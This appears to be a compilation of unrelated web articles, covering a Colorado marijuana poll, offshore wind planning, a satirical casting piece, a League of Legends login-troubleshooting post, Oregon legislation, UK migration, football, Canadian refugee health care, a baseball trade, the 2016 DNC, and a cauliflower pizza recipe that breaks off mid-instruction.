-Depending on the circles you run in, you may have heard about the supposed bad news for Colorado marijuana legalization advocates. “New poll shows more Coloradans opposed to legal marijuana” said Colorado’s second-largest newspaper, the Colorado Springs Gazette; “COLORADANS NOW OPPOSE MARIJUANA LEGALIZATION” screamed Parents Opposed to Pot; “COLORADO HAS BUYERS’ REMORSE FOR LEGAL WEED” bellowed California Stop Pot 2016 triumphantly.  All over a little survey funded by an out-of-state anti-marijuana organization called Community Alliances for Drug Free Youth. Here’s the Gazette:  A poll sponsored by the Community Alliances for Drug Free Youth shows that slightly more than half of Coloradans are now opposed to marijuana legalization. According to a release from SmithJohnson Research, 51 percent of 600 likely voters in Colorado said they would vote against marijuana legalization if it came up today. The poll, which was conducted over the phone with self-identified 2012 voters, has a margin of error of plus or minus 4 percent. The survey results show a change in mood in the years since Amendment 64 was on the ballot when 55 percent of Colorado voters supported legalizing recreational marijuana sales to adults over the age of 21.  Community Alliances for Drug Free Youth (CADFY) is a California-based prohibitionist organization also known as Californians for Drug Free Youth. According to the Gazette, they are a “nonprofit organization based in San Diego that promotes state, federal and international drug policies that keep drugs out of the hands of youth.” According to their website, CADFY wants you to go on social media and warn your friends, family, and coworkers about the “dangers of marijuana and other illicit drugs.” They also provide links in their “news” section to unapologetic propaganda like “Clearing The Smoke on Medical Marijuana.”  The Gazette itself is a newspaper with an agenda. Owned by Denver billionaire Phil Anschutz, who also owns The Weekly Standard and Washington Examiner, and has donated tens of thousands of dollars to Republican and “family values” causes, the Gazette recently ran a questionable and widely-ridiculed modern day Reefer Madness hysteria hit piece entitled Clearing the Haze and written by a well-known local anti-pot crusader.  The fact is that all recent major polls run by respected pollsters with real records (try googling “Community Alliances for Drug Free Youth” and “SmithJohnson Research”) are showing the same thing: Support for marijuana legalization is up up up. Not only in Colorado–where, at last check, 89% of Colorado voters supported medical marijuana and 62% supported personal use, but also nationwide where there is clear majority support. Today a new Public Policy Polling survey shows that even Republicans in the early battleground states of Iowa and New Hampshire believe that “states should be able to carry out their own marijuana laws without federal interference.” The numbers are astounding: 64 and 67 percent of Republicans in each respective state agreed with that statement.  So why should we believe a poll sponsored by an organization that is trying to interfere with another state’s politics again? And why is Colorado’s second largest newspaper so publicly fighting such an obviously lost cause?  Photo Credit for featured image: Brett Levin via flickr Creative Commons.
-Politics aside, most energy experts agree that cheap, clean, renewable wind energy holds great potential to help the world satisfy energy needs while reducing harmful greenhouse gases. Wind farms placed offshore could play a large role in meeting such challenges, and yet no offshore wind farms exist today in the United States.  In a study just published in Geophysical Research Letters, a team of engineers at Stanford has harnessed a sophisticated weather model to recommend optimal placement of four interconnected wind farms off the coast of the Eastern United States, a region that accounts for 34 percent of the nation's electrical demand and 35 percent of carbon dioxide emissions.  "It is the first time anyone has used high-resolution meteorological data to plan the placement of offshore wind grid," said senior author Mark Z. Jacobson, a professor of civil and environmental engineering. "And this sophistication has provided a deeper level of understanding to the grid plan."  Beginning with 12 energetic potential locations, the engineers winnowed down the sites to four optimal sites. Total maximum capacity of the interconnected grid is 2000 megawatts, roughly equivalent to the yearly capacity of one-and-a-half conventional coal-fired power plants. Each farm would have approximately 100 turbines, delivering an individual maximum capacity of 500 megawatts.  "Two thousand megawatts and four farms are somewhat arbitrary figures. The sizes and locations could be adjusted for economic, environmental, and policy considerations," said Jacobson.  "An offshore grid as an extension of the onshore grid in this region will improve reliability, while reducing congestion and energy price differences between areas," said Mike Dvorak, the lead author of the study and a recent PhD graduate in civil and environmental engineering at Stanford.  Optimizing the grid  The optimized grid was located in the waters from Long Island, New York to Georges Bank, a shallows about a hundred miles to the east of Cape Cod. The nearshore locations take advantage of consistent sea breezes that occur naturally due to the daily difference in temperature between land and sea. The offshore farms experience stronger, though less regular, frontal storm activity. The four farms would be interconnected to help balance output across the grid.  "Until recently, large scale wind resource assessments have neglected the aspect of time. We matched peak productivity with peak demand at specific times of day and year," said Dvorak. "Our analysis matches production to demand."  Wind farms on land, for instance, tend to see daily peak output at night, when demand is lower. Seasonally speaking, demand usually spikes in the late afternoons of summer when air conditioning needs are high, but this time of year is also known for a dearth of storms and a meteorological phenomenon known as the Bermuda High, a high-pressure center that affects winds along the entire coast.  "In some areas, like Massachusetts, the Bermuda High boosts sea breezes," said Dvorak. "But south of Long Island, NY, where one offshore grid has been proposed, the Bermuda High has the opposite effect and often hinders sea breezes."  Balance of power  Beyond matching production and demand cycles, the researchers had to balance several technical challenges in their models.  "The farms had to be in waters less than 50 meters deep to allow use of bottom-mounted turbines and near urban load centers like Boston and New York," said Jacobson. "And, we wanted to smooth power output, ease hourly ramp rates and reduce hours of zero power."  The engineers took a novel approach, choosing to interconnect the offshore farms. Offshore wind farms in other parts of the world today are connected individually to the onshore grids.  "The goal is to even out the peaks and valleys in production," said Dvorak. "In our model, expensive no-power events - moments when individual winds farms are producing zero electricity - were reduced by more than half from nine percent to four by connecting the farms together."  In the final analysis, the interconnected grid was able to yield a year-long capacity factor of over 48 percent, meaning that the grid could reliably produce close to 1000 megawatts on average over the course of a year.  "Generally, with wind farms, anything over 35 percent average capacity is considered excellent," said Jacobson.  Location. Location. Location.  Among its findings, the Stanford model recommended a farm in Nantucket Sound, precisely where the controversial Cape Wind farm has been proposed. The Cape Wind site is contentious because, opponents say, the tall turbines would diminish Nantucket's considerable visual appeal.  By that same token, the meteorological model puts two sites on Georges Bank, a shallows located a hundred miles offshore, far from view in an area once better known for its prodigious quantities of cod. The fourth site is off central Long Island.  The researchers last looked at the economics of installing their offshore grid, which they said would have the advantage of sharing costs across several states, potentially increasing political support for the plan.  "This paper should be seen as a tool for energy planners to better inform their renewable energy decisions across a densely populated area," said Jacobson. "It is an opportunity to collaborate on a shared system that reduces costs while benefitting a large and important center of electrical demand in the U.S."  Source: http://soe.stanford.edu/
-Tommy Wiseau Being Played by a White Guy Is Offensive to Whatever Alien Species He Is  Once again Hollywood has shown that it is not the diverse, progressive paradise it wants us to think it is. White washing has plagued the film industry and The Disaster Artist is no exception: the subject of the film, Tommy Wiseau, is being played by James Franco — a white man — instead of whatever mystifying alien species he actually is.  Are you kidding me?! Tommy Wiseau is not a “white man.” He is very clearly an “unknowable, possibly unkillable being” that we can only assume is not of this earth. This is unacceptable and I am SHOCKED more people and aliens aren’t upset.  Oh God, Franco’s gonna do the accent, isn’t he? That will be so uncomfortable. Tommy Wiseau has the very authentic accent of someone born on another planet where chickens don’t exist, and it’s going to be unbelievably offensive to hear Franco’s shitty imitation of it.  Sometimes it feels like I’m saying the same thing again and again, but let’s say it one more time for the people in the back and the aliens on planet Wiseau: THERE ARE MORE THAN JUST WHITE ACTORS, PEOPLE.  I’m sick of hearing, “Uh, what about the best person for the job?” It’s a reductive talking point. And I don’t want to hear about how the film industry is a business and that casting white men will appeal to an American demographic. Even by those standards, it’s wrong. Look how well the Fast and the Furious series has done by appealing to a larger, more diverse audience. The last installment features a diverse cast of white, black, asian, hispanic, men and women, and even whatever alien species Vin Diesel is.  Just as Iron Fist should have been portrayed by an Asian actor, Tommy Wiseau should have been played by a similarly extraterrestrial being that had clearly never interacted with a human being prior to acting in a movie.  On behalf of all white people, I apologize to whatever alien species Tommy Wiseau is. Especially if that alien species is the alien species from the movie species because… well, you know.
-**UPDATE** **Thank you everyone for all the information you provided. We've collected enough information and are actively working on fixing the issue** TLDR: If you're on a campus connection and can't log in...Run these commands and attach the logs to the post! (tracert 141.101.114.212) > "%USERPROFILE%\desktop\Tracert.txt" (tracert 141.101.115.212) > "%USERPROFILE%\desktop\Tracert.txt" Hey Everyone! We're aware that some players are having issues logging in to League of Legends from certain colleges/universities and are actively working with relevant parties to fix this problem. However, we could use some additional information to more quickly identify and solve this problem. But first, if you believe you're being impacted by this issue, we'd like you to check out this [article.](https://support.riotgames.com/hc/en-us/articles/201761944-Login-Issues) Secondly, you may also want to check out [this Boards post,](http://boards.na.leagueoflegends.com/en/c/help-support/nnKzjoMb-new-pvpnet-login-issue-and-ssl-30-102814) just to verify it's not the same issue. If you still have issues logging in through a campus or university connection, we'd really appreciate it if you could attach the following tracert's to this thread, as well as tell us which college/university you're trying to connect from! To obtain a tracert first press the **[Windows Key] (that is the key on the left side of the space bar, between ctrl and alt) + R** Type **cmd **in the search bar and click **"Ok"**. You should now see a black window with white letters. Highlight and copy this command: **(tracert 141.101.114.212) > "%USERPROFILE%\desktop\Tracert.txt"** Paste this into the cmd window (black box with white letters) by right clicking and selecting **"Paste". Do not use the Ctrl+V shortcut as it will not work!** Depending on your connection, the trace may take 5-15 minutes to complete. A text file with the Tracert log will be created on your Desktop when it finishes. Please check that the command ran properly - if **Tracert.txt** contains a single line, it did not run properly. Attach **Tracert.txt** to a support ticket. **Repeat the steps above with the following tracert** **(tracert 141.101.115.212) > "%USERPROFILE%\desktop\Tracert.txt"** Once you've collected the two tracerts, please attach them to this discussion post! Thanks for your help! :)  Title  Body Cancel  Save
-SALEM, Ore. (AP) On the presumed eve of the final day of the 2013 Legislative session, Oregon lawmakers worked through the shrinking number of bills left to be addressed this year.  The Legislature agreed that people caught talking on the phone or texting while driving should pay steeper fines, bumping the maximum fine from $250 to $500. The bill now goes to the governor.  "I believe this is the next Mothers Against Drunk Driving issue," said Senate President Peter Courtney, D-Salem, who made the bill a priority. Opponents said stiffening the fine would not keep phones out of drivers' hands.  Late Sunday night a budget committee took up a major bonding package unveiled only hours earlier. The package would boost funding for construction projects across the state, including $80 million to build a state psychiatric hospital in Junction City, Ore. It also funnels money to community colleges and public universities for campus expansion projects, and allots money for upgrades to state buildings.  A joint budget committee advanced the package to the Senate, despite complaints from several lawmakers that they hadn't had enough time to review the bill.  Other bills forwarded to the governor's desk would cap the number of permits for suction dredge mining equipment, establish a voluntary program to phase in a mileage-based road user fee for fuel efficient cars and require certain midwives to obtain a license.  Senators voted to extend several income tax credits that were set to expire. Among other provisions, the bill would increase a tax credit for film and television productions from its current level of $6 million to $10 million. The bill next goes to the House.  Not all bills made the cut.  Notably, senators rejected a much talked about bill proposed by Secretary of State Kate Brown that would have automatically registered nearly everyone with a driver's license to vote, potentially adding hundreds of thousands of newly registered voters to the state.  Debate on the bill provoked passionate testimony from lawmakers on both sides of the issue.  Sen. Jackie Winters, the first African-American Republican to serve in the Oregon Legislature, said automating the voter registration system trivializes the act of voting, a right she said her grandfather had to fight for.  "For me, voting has a very ... special meaning," said Winters, R-Salem. "I don't want to trivialize what a lot have died for, worked for (and) fought for."  Republicans and one Democrat joined her in opposition, saying people who choose not to register to vote shouldn't be forced onto the voter rolls.  Democrats said the plan would eliminate barriers to voting by identifying and enrolling otherwise eligible voters.  "This is a bill that enhances personal freedom and enfranchises every voter," said Sen. Elizabeth Steiner Hayward, D-Beaverton.  The Senate also voted down a bill championed by House Speaker Tina Kotek that would have stopped housing discrimination against low-income Oregonians who hold federally subsidized rent vouchers.  When the session ends, all bills left in committee die. Bills that don't survive must be reintroduced in a future session.  The House and Senate have both scheduled floor sessions to take up a handful of remaining bills on Monday, when they are expected to Sine Die. Traditionally, the chambers adjourn simultaneously.  Copyright 2013 The Associated Press.
-New figures show that the Government is still nowhere near achieving its goal of cutting net migration to the “tens of thousands” by 2015.  A separate report by the Office for National Statistics shows that the foreign-born population of Britain has increased by 43.5 per cent since Eastern European countries joined the EU in 2004, to reach 7.5million.  Ministers insisted that their immigration reforms are starting to have an effect.  Damian Green, the Immigration Minister, said: “We are now starting to see the real difference our tough policies are making, with an overall fall in net migration and the number of visas issued at its lowest since 2005.  “At the same time, there are encouraging signs that we continue to attract the brightest and best and to support tourism in the UK.  “We will continue to work hard to ensure that net migration is reduced from the hundreds of thousands to the tens of thousands by the end of this Parliament.”  But Sir Andrew Green, chairman of Migration Watch UK, a pressure group, said: “These figures are a disappointment. Net migration remains far too high.  “Today’s numbers underline the huge difficulty of getting immigration back under control after 13 years of chaos.”  Sarah Mulley of the Institute for Public Policy Research think-tank added: “The combination of recession and immigration policy changes may be starting to have an impact but more than a third of the fall is due to a rise in emigration.  “The statistics show that the Government remains a long way from its goal.”  The ONS’s quarterly migration update showed that net migration – the number of people entering Britain minus those who leave – stood at 216,000 in the year to December 2011.  This was a fall on the 252,000 recorded for the previous year but the ONS said the difference was “not statistically significant”.  Immigration dropped slightly to 566,000 while emigration increased to 350,000.  Study remained the most common reason for people moving to Britain for at least a year but in the year to June 2012 there were 282,833 student visas issued, a fall of 21 per cent as the Government tries to cut the number of non-EU students.  The number of National Insurance numbers given to foreign nationals fell 15 per cent to reach 601,000 while work visa fell by 7 per cent to 147,385.  The number of people granted settlement in Britain fell by 33 per cent to reach 138,589, however asylum applications rose by 3 per cent in the second quarter of the year.  Most (55 per cent) immigrants came from outside the EU but the rights of free movement granted to European citizens mean it is difficult for ministers to achieve their goal of reducing net migration, despite the cuts to visa numbers.  Some commentators said it may not even be clear by 2015 whether or not the target has been reached, because the margin of error around the ONS figures means that net migration may be 35,000 higher or lower than the recorded number.  Dr Martin Ruhs, Director of the Migration Observatory at the University of Oxford, said: “In simple terms, the Government could miss the ‘tens of thousands’ target by many tens of thousands and still appear to have hit it. Conversely the Government could hit, or even exceed its target and still appear to have missed it.”
-It was building up to be a hugely difficult decision for Zinedine Zidane, and one that could have made or broken a career-defining night for Gareth Bale, only for the Real Madrid record signing to make it very easy for his manager.  Amid so much debate about whether he or Isco will start for Real Madrid in their Champions League final against Juventus in Cardiff, the 27-year-old took matters into his own hands, by taking time to explain how bad his ankle still is.  “I am not 100 per cent. I haven’t played for six or seven weeks. I obviously had my operation which still really hasn’t recovered,” Bale said, on Real’s pre-final media day. “If I’m called upon to start, I will start obviously. But to last 90 minutes. I haven’t played a lot of football this year since my operation, so that would be difficult. Isco has been playing fantastically well for us, at the end of the season, so whatever the manager decides, I will [accept it].”  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  Given those very comments and how he went on to speak about the pain he's been suffering, however, the decision is surely to start Bale on the bench in his home country? It could have been a lot more complicated for Zidane this week, even if it could still leave a few complications in the summer.  The major issue beyond Saturday’s showpiece at the Principality Stadium is that Bale remains president Florentino Perez’s major modern signing, and one of his favoured players. The Bernabeu supremo likes seeing him on the pitch, and enjoys the devastatingly pure pace and power to his game.  Perez feels that Bale embodies the kind of individual brilliance that Real’s history has been built on, but that isn’t necessarily the individual brilliance that the current team's run to the final has been built on.  There is little doubt Isco’s more poised game has given Real much more of a balance, and just made all those individual parts fit so much better. A team that had constantly been so unconvincing despite its quality all of a sudden looked so complete, especially in the last two Champions League ties against Bayern Munich and Atletico Madrid. It gave Zidane a huge dilemma ahead of the last and biggest game of the season, and one that many around the Bernabeu believed could define him as a manager.  Would he do what was evidently best for the team and pick Isco, or do what felt implicitly political and pick Bale, especially given all the drama and symbolism of this match being played in Wales. This is how it was meant to be, after all: the record signing going back home to emphasise how the Bernabeu is the European Cup’s home, by helping them becoming the first club to retain it in the modern Champions League era.  Shape Created with Sketch. Real Madrid's greatest-ever XI Show all 11 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Real Madrid's greatest-ever XI 1/11 Iker Casillas Getty 2/11 Chendo Getty 3/11 Fernando Hierro Getty 4/11 Sergio Ramos Getty 5/11 Roberto Carlos Getty 6/11 Pirri Nationaal Archief Fotocollectie Anefo 7/11 Zinedine Zidane Getty 8/11 Cristiano Ronaldo Getty 9/11 Francisco Gento Getty 10/11 Raul Getty 11/11 Alfredo di Stefano Getty 1/11 Iker Casillas Getty 2/11 Chendo Getty 3/11 Fernando Hierro Getty 4/11 Sergio Ramos Getty 5/11 Roberto Carlos Getty 6/11 Pirri Nationaal Archief Fotocollectie Anefo 7/11 Zinedine Zidane Getty 8/11 Cristiano Ronaldo Getty 9/11 Francisco Gento Getty 10/11 Raul Getty 11/11 Alfredo di Stefano Getty  “It is massively special for me personally, as it is where I was born, where I grew up,” Bale added this week. “Any Champions League final is special, but this is a little bit extra special.”  That would have been very tough to resist, and required almighty resolve from Zidane. Now, it is barely a dilemma at all. Whether intentional or not, Bale has made it very easy to be left out.  It would now be a huge surprise if he didn’t start this home final on the bench. The ripple effect of that, however, could be to bring Bale’s time at the Bernabeu to a close. As reported by The Independent in early May, Perez wants to keep the Welsh star, but there are a few among the Bernabeu hierarchy that are suggesting a sale might not be the worst idea and it was not a coincidence that a comment piece appeared in Marca on Monday suggesting exactly that.  The bottom line is that if Real do win on Saturday to return to Europe’s peak, but without Bale in the starting XI, that will be a much easier sell. It is a prospect that has already been discussed between Bernabeu officials and those from Manchester United.  There is another prospect from this final, however, that could prove just as influential. Some close to Zidane’s squad feel it is highly likely that Bale will come on as a sub, especially if the game is as tight and tough as Juventus’ famed defence suggests it will be. It could then become a contest when the Welsh star’s individual brilliance from the bench is essential.  That could well mean that, even if the final does not go as Bale or so many of his Welsh supporters had imagined, it could yet exceed expectation and become an even greater home-coming story.  It would be foolish to write him off. He’s been in similar situations and prevailed, such as in the 2014 final when he hit the goal against Atletico that finally put Real ahead to eventually win 4-1, even if the surroundings have never been as familiar as the Millennium Stadium.  So much intrigue will begin with Zidane's decision, but Bale has gone some way to finalising it. After that is when matter gets far more interesting.  Keep up to date with all the latest news with expert comment and analysis from our award-winning writers
-Canada’s poised to welcome the first planeload of Syrian refugees Thursday evening as part of the federal Liberals’ much-touted pledge to resettle 10,000 (formerly 25,000) by the end of this month.  But the government still hasn’t followed through on its election promise to reverse health cuts to refugee care made under the previous government three years ago.  READ MORE: What’s the deal with refugee health care?  “The Government is committed to restoring the Interim Federal Health Program. We are currently working towards that goal,” Immigration, Refugees and Citizenship Canada spokesperson Nancy Caron said in an email to Global News Thursday evening.  But the feds have made a special provision to ensure Syrian refugees get the full slate of health care as other privately sponsored refugees and asylum-seekers in limbo get turned away.  “The current Interim Federal Health Program includes provisions that allow the Minister to extend the coverage available to an individual or group,” Caron wrote.  “In this case, full IFHP benefits, known as ‘Type 1’ coverage, is being made available to all of the Syrian refugees arriving in Canada as part of this initiative. We will have more details available soon.”  Caron wouldn’t say when the health cuts will be reversed for all refugees.  READ MORE: Canada’s scrambling to resettle Syrian refugees but won’t say when health care will be restored  About 20,000 refugees come to Canada per year, from dozens of countries. Canada is in the midst of several multi-year commitments to resettle refugees from Eritrea, Sudan, Iraq, Bhutan, Turkey and elsewhere.  A federal court called the 2012 cuts to refugee care “cruel and unusual.” The then-governing Conservatives appealed that ruling and hadn’t reinstated refugee health care when the Liberals defeated them in October.  Restoring full refugee health care was one of the Liberals’ campaign promises. Both Immigration, Refugees and Citizenship Minister John McCallum and Health Minister Jane Philpott have reaffirmed that pledge.  WATCH: Philpott on Syrian refugee health care  It isn’t clear why that hasn’t happened.  In the meantime, privately sponsored refugees, people whose claims are in limbo or who are making an “inland” refugee claim after having arrived in Canada don’t get the full benefits of their counterparts.  In response to the cuts Ontario, Quebec and other provinces put in place stopgap refugee health coverage of their own.  But the ensuing system was so confusing, the paperwork so arduous for often-overworked health practitioners, that many stopped treating refugees altogether.  As Global News reported earlier this year, even those who qualify for health coverage sometimes get turned away.  Advocates have said this is bad for both vulnerable people and public health: When people delay seeking treatment because they can’t afford to pay for it, they get sicker and pose a risk to other people if they have an infectious disease.  They’re also more likely to need much more expensive emergency treatment later on.
-Jonathan Lucroy is one of baseball's best catchers. Still, this hasn't been the easiest of weeks for the 2016 All-Star. On Saturday, the 30-year-old was traded from the Milwaukee Brewers to the Cleveland Indians -- a deal Lucroy rejected (the Indians were on his no-trade list) amid concerns he wouldn't get enough time behind the plate in 2017. "I have to look out for me and my family," he says. "I know Cleveland fans are mad at me right now, but my decision had zero to do with the quality of their team." On Monday, Lucroy was moved to the Texas Rangers with reliever Jeremy Jeffress as part of a deadline trade that included several minor league prospects. Here, Lucroy discusses the failed Cleveland deal and the moments before and after his trade to the Rangers -- a move he hopes will deliver him to his first playoff appearance in five years.  When you're traded, you're never sure what to expect. I'd never been dealt before, so this was a new experience for me. After our game on Saturday, against the Pirates, I was called into an office. Something was going down. The general manager, David Stearns, told me I'd been traded. David said he couldn't say who got me because medical stuff needed to be cleared before it could be announced. I figured it must be a team that wasn't on my no-trade list, just because of everything that goes into that. Based on what I'd seen online and what I heard from my agent, I knew the Mets, Indians, Dodgers and Rangers had shown interest. Cleveland was the only one of those teams on my no-trade list, so I ruled that out.  It was already pretty clear there wasn't going to be much of a future for me in Milwaukee. They're in rebuilding mode, and they wouldn't want to pay to keep me there. I had a team option for 2017, and then that was it. It's the reality of the situation. I grew up in the organization, spent nearly 10 years with it. I love the fans, but this is all part of the game. You hear -- baseball's a business -- but it really is. They were figuring out their roster for the future, and I wanted to win now. That's the landscape, and it's something you have to deal with. So I got the news I was traded, and I was excited to know where I would play next. I knew it'd be a competitive situation. I like being part of something bigger, like a cog in an engine. In Milwaukee, I didn't feel part of that because we weren't winning. With a trade, I'd be on a team that was working toward the playoffs.  My agent, Doug Rogalski, found out it was the Indians that traded for me. I was surprised, but I wanted to keep an open mind. Great team. Competitive team. There's a real chance to win. Doug called Chris Antonetti, the Indians' president. There was one thing we wanted to know: What was my future with the Indians? We knew Cleveland already had a good catcher, Yan Gomes, who's injured right now. He's getting paid more than me, and he's younger than me. We knew they'd probably want him catching almost every day next year. Heck, if I were the general manager in Cleveland, I'd want Gomes catching every day.  We were right. Antonetti told Doug that the Indians couldn't make any promises on me catching next season. There was no way they'd drop the team option, either, because I'm pretty inexpensive in 2017. I don't blame them. I would have been mostly at first base and designated hitter. In the end, that was the deal killer. Doug called me. He said, You're not going there.  "You can say anything you want about what I've said in the past about wanting to get traded to a winner and then blocking the trade to Cleveland. Well, guess what? I did get traded to a winner." Jonathan Lucroy  Cleveland fans don't like that part, but it's nothing against them. It wasn't personal. If anything, I have even more respect for the Indians because of Antonetti's honesty. He could have lied to my agent and said I'd play catcher every day next season. But he didn't. He told the truth. I'm thankful for that. My decision not to go to Cleveland had nothing to do with the team, but it had everything to do with my future in this game. It was an economic decision. Period. I have to look out for my family's best interests and my interests as a catcher who'd be going into 2018 not having played my position the previous year. I am a catcher. I've been catching since I was 12 years old. I love being behind the plate, being involved in the game from that perspective. I love every part of that. I'm not changing positions for anybody. I don't care who it is. My value is as a catcher, and I know it.  So we blocked the trade. And then we waited.  Things weren't dead. I knew I could still be moved. I was in a good position. If I were traded, it would be to a team that was in the playoff race. That was obvious. Doug knew there would be teams that would try to re-engage with the Brewers. I was hoping the Rangers were still interested. Dallas was our No. 1 target. My wife is from Louisiana, I went to college in Louisiana, and we still live in that state, so this was really close to home for us. If we could pick a perfect spot to go as a family, and for competitive baseball, the Dallas area was the place. They know their sports in Texas. Great fans. Great facilities. Great team. We have a lot of friends there. We were hoping the Rangers were still interested.  My manager, Craig Counsell, put me in as a pinch hitter on Sunday. It was a day before the trade deadline, and no one knew if I was wearing a Brewers uniform for the last time. I got a standing ovation, and it meant a lot to me. I dug into the batter's box, and I was in limbo. I figured if this is my last at-bat here, it's my last at-bat. If not, we'll see what happens. I flied out. It wasn't much of a storybook ending.  A day after the deadline, Jonathan Lucroy started his journey with the Rangers. Greg Fiume/Getty Images  Afterward I felt a little sad, a little excited. Honestly, I was scared because I didn't know what was going to happen next. I was thinking about my wife, Sarah, and our young daughter, Ellia. If I got traded, how would it impact them? How would we get our stuff to our new city? They'd be by themselves, sorting things out, and I wouldn't be there to help. But I had to keep going like nothing was going to change in our lives. My general manager had told me I wasn't going to be dealt unless the team liked what it was getting in return. They weren't just going to give me away.  I decided to take a flight out of Chicago for San Diego, because that's where the Brewers were playing next. It was Monday, just before the trade deadline. If I wasn't traded, I'd have to be in San Diego, ready to go. I was in a parking lot at O'Hare International Airport when Doug called. It was 2:50 p.m. Central time. Ten minutes before the deadline. Doug said Ken Rosenthal tweeted that I'd been traded to the Rangers. I was totally calm about it. I said, I'll stay here and wait for confirmation from David. Five minutes later, I got the call. It was really straightforward: Hey, we just traded you to the Rangers. It's official. I left Chicago and headed for Miller Park.  I called my wife and told her what was happening. She'd been a nervous wreck leading up to this point, and now I heard the excitement in her voice. I called my parents. I called my agent. Jon Daniels, the Rangers general manager, called me and said he was glad I was joining the team. Less than an hour earlier, I didn't know what was happening, and now I wound up getting traded to the team with the best record in the American League. You can say anything you want about what I've said in the past about wanting to get traded to a winner and then blocking the trade to Cleveland. Well, guess what? I did get traded to a winner.  Finally, I got back to Milwaukee and went into the Brewers clubhouse. I grabbed some catcher's equipment. It was royal colored. I grabbed some spikes that matched, and I got some clothes. The Brewers would have to box up the rest of my locker and ship it to me. David knew I was at the park, so he came down and met me at one of the stadium's entrances. We shook hands. Then I was gone. I went home, kissed my wife, grabbed some more clothes. My daughter was off playing with friends, but I had to leave. Texas was playing in Baltimore on Tuesday, and I had to get to the airport. I kissed my wife again and said, I'll see you in a couple weeks. That's the life of a baseball player.  The last time I was in a playoff race was 2014, but we fell apart in mid-August and blew it. The last time I was in the playoffs was 2011, my first full season as a major leaguer. I still remember Mark Kotsay, one of our veterans, standing up and telling us we didn't understand how hard it was to make it to the playoffs. He told us that guys played their entire careers without making it to the postseason. He said it might not happen for any of us again. I heard that, and I was like, C'mon. No way that's happening. I thought we could go every year. I was spoiled. I was also dead wrong. I learned a lesson from that. Don't take things for granted.  Texas made a sacrifice to bring me in. They gave up some good prospects. By making that sacrifice, they're telling me they need me here to win. When a player's on a team, wherever it is, you want to have that wanted and needed feeling. It makes you feel like you're part of something. We aren't in the playoffs yet, but we have all the pieces. I'm already falling in love with this roster. We have two players in our lineup who are Hall of Fame guys: Adrian Beltre and Carlos Beltran. Those two dudes are unbelievable. I'm honored to play with them, and I know I'm going to be a better baseball player being around them. I've only played on the road for Texas, but I can't wait to play a home game.  When I step to the plate there, I'm going to take it all in. I'm going to take all of this in. I know I had nothing to do with the Rangers getting to where they are now, but I want to have a lot to do with finishing the job.
-Comedian Sarah Silverman told Bernie Sanders supporters who refuse to back Hillary Clinton that they are "being ridiculous" during her speech at the Democratic National Convention July 25. (The Washington Post)  After a day full of tensions between Bernie Sanders supporters and the Democratic Party, the first few hours of the party's convention on Monday featured plenty of distractions, and things seemed to be moving forward.  Then Sarah Silverman showed up.  The comedian was a Sanders supporter in the primaries, and she came to the stage with Clinton supporter and fellow "Saturday Night Live" alum, Sen. Al Franken (D-Minn.). It was a good idea in theory: two comedians trying to bring some levity to the situation and defuse it with humor.  But feelings were still raw. Silverman argued for unity and gave a generally well-received speech, but Sanders supporters weren't happy, and they began making their voices heard.  Silverman tried to make jokes. She noted that Clinton, who was most recently secretary of state, "was a secretary, and now she's going to be president." The crowd got louder.  Silverman added, "I will vote for Hillary with gusto." She concluded her speech by saying, "As I continue to be inspired and moved to action by the ideals set for by Bernie, who will never stop fighting for us, I am proud to be a part of Bernie's movement, and a vital part of that movement is making absolutely sure that Hillary Clinton is the next president of the United States."  The crowd got louder. By that point, though, Franken and Silverman had also run out of material and were being asked to stretch their segment due to a problem with musical guest Paul Simon's organ.  It got a little awkward as they stalled and people chanted. And then Silverman said this: "To the Bernie-or-bust people, let me just tell you: You’re being ridiculous."  Franken gamely tried to argue Silverman had just done a good thing.  "This is a comedian," he said, gesturing to the "Hillary, Hillary" chants. "This is the power of comedy."  Silverman then alluded either to the awkwardness of them still standing there or to the fact that the crowd was still arguing.  "Thank God they can fix this in post[-production]," she said, referring to the editing process in movies and TV shows.  Needless to say, "you're being ridiculous" is not the message the party would have scripted for Silverman or anybody else onstage Monday night. Given it was delivered by Silverman and not a party official, though, perhaps it will blow over.  It could even be remembered as a key moment — in a good way. The Clinton supporters in the crowd surely appreciated the moment, and they cheered loudly, as Franken noted. But it also stands to reason that it could inflame Sanders backers going forward — which was the opposite of the point in sending Silverman out there, after all.  At a time when things appeared to be moving past the drama of the day, it might not have been the best time to put an ad-libbing comedian on the stage to make an appeal for unity. Or maybe it was genius. We'll see how it plays going forward.  Here is Silverman's full speech:
-A co-worker of mine is currently on a special diet and has been experimenting with several low-carb dishes. One day a few weeks ago, she dropped by my office to tell me about a recipe she’d found – pizza crust made of cauliflower! Yes, it sounded a little strange, but I was definitely intrigued. Since she’s a culinary school graduate and enjoys food as much I do, I trust her judgement and wanted to try it.  She offered to bring a piece to the office the next day for me to sample and even day-old and reheated, it was really good!  My husband is a pizza fanatic, so this new discovery was particularly exciting. Since I try to limit the processed stuff we eat, cutting out simple carbs from our meals when possible, I don’t like to make or order pizza very often. I personally love the sauce, cheese and all the toppings that come on pizzas, but I don’t like the way I feel after eating all the dough that serves as the delivery vehicle, so this twist on the crust has made us both very happy.  With a hefty dose of veggies, I feel good about eating it myself and feeding it to him, which means he can get his pizza fix a lot more often now. We pile it high with a variety of toppings- mushrooms, spinach, red peppers, green peppers, onions, green and black olives, sometimes with meat, and sometimes without.  I’m not going to lie and say it’s just like eating a flour pizza crust because it’s not. But surprisingly, it’s not like eating cauliflower either. I’m not even sure that you’d be able to guess what it was made of if someone hadn’t already told you. The one problem I find is that while it’s not impossible to pick up a piece and eat with your hands, it’s much easier to use a fork. We feel that’s a small price to pay though in order to feel better about what we’re eating.  I’m interested to see what some of you think, so please, if you give it a go, come back and leave a comment!  Cauliflower Crust Pizza Serves 2; Adapted from Your Lighter Side. Ingredients: 1 cup cooked, riced cauliflower 1 cup shredded mozzarella cheese 1 egg, beaten 1 tsp dried oregano 1/2 tsp crushed garlic 1/2 tsp garlic salt olive oil (optional) pizza sauce, shredded cheese and your choice of toppings* Directions: To “Rice” the Cauliflower: Take 1 large head of fresh cauliflower, remove stems and leaves, and chop the florets into chunks. Add to food processor and pulse until it looks like grain. Do not over-do pulse or you will puree it. (If you don’t have a food processor, you can grate the whole head with a cheese grater). Place the riced cauliflower into a microwave safe bowl and microwave for 8 minutes (some microwaves are more powerful than others, so you may need to reduce this 